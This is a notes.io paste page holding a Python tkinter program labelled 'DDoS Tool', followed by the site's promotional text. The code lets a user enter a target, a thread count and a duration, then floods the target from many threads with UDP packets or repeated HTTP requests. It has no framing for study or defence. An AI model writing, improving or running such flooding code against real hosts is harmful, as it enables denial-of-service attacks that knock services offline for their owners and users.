NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

import tkinter as tk
from tkinter import ttk
import threading
import time
import random
import socket
import requests

class DDoS_Tool:
def __init__(self, root):
self.root = root
self.root.title("DDoS Tool")
self.root.geometry("1000x1000")
self.root.configure(bg="#222222")

self.target_label = ttk.Label(self.root, text="Target:", background="#222222", foreground="#FFFFFF")
self.target_label.pack(pady=5)

self.target_entry = ttk.Entry(self.root, width=30)
self.target_entry.pack(pady=5)

self.threads_label = ttk.Label(self.root, text="Threads:", background="#222222", foreground="#FFFFFF")
self.threads_label.pack(pady=5)

self.threads_entry = ttk.Entry(self.root, width=30)
self.threads_entry.pack(pady=5)

self.time_label = ttk.Label(self.root, text="Time (seconds):", background="#222222", foreground="#FFFFFF")
self.time_label.pack(pady=5)

self.time_entry = ttk.Entry(self.root, width=30)
self.time_entry.pack(pady=5)

self.start_button = ttk.Button(self.root, text="Start", command=self.start_attack)
self.start_button.pack(pady=5)

self.stop_button = ttk.Button(self.root, text="Stop", command=self.stop_attack)
self.stop_button.pack(pady=5)

self.log_text = tk.Text(self.root, height=10, width=50)
self.log_text.pack(pady=5)

self.running = False

def start_attack(self):
self.running = True
self.log_text.insert(tk.END, "Starting attack...n")
self.log_text.see(tk.END)
self.root.update()

target = self.target_entry.get()
threads = int(self.threads_entry.get())
time_duration = int(self.time_entry.get())

for _ in range(threads):
threading.Thread(target=self.attack, args=(target, time_duration)).start()

def stop_attack(self):
self.running = False
self.log_text.insert(tk.END, "Stopping attack...n")
self.log_text.see(tk.END)
self.root.update()

def attack(self, target, time_duration):
while self.running:
try:
if ":" in target:
ip, port = target.split(":")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(b"A" * 1024, (ip, int(port)))
self.log_text.insert(tk.END, f"Sent UDP packet to {ip}:{port}n")
self.log_text.see(tk.END)
self.root.update()
else:
requests.get(f"http://{target}")
self.log_text.insert(tk.END, f"Sent HTTP request to {target}n")
self.log_text.see(tk.END)
self.root.update()
except:
pass
time.sleep(random.uniform(0.1, 0.5))

self.log_text.insert(tk.END, "Attack stopped.n")
self.log_text.see(tk.END)
self.root.update()

if __name__ == "__main__":
root = tk.Tk()
app = DDoS_Tool(root)
root.mainloop()
     
 
what is notes.io
 

Notes is a web-based application for online taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000+ notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 14 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.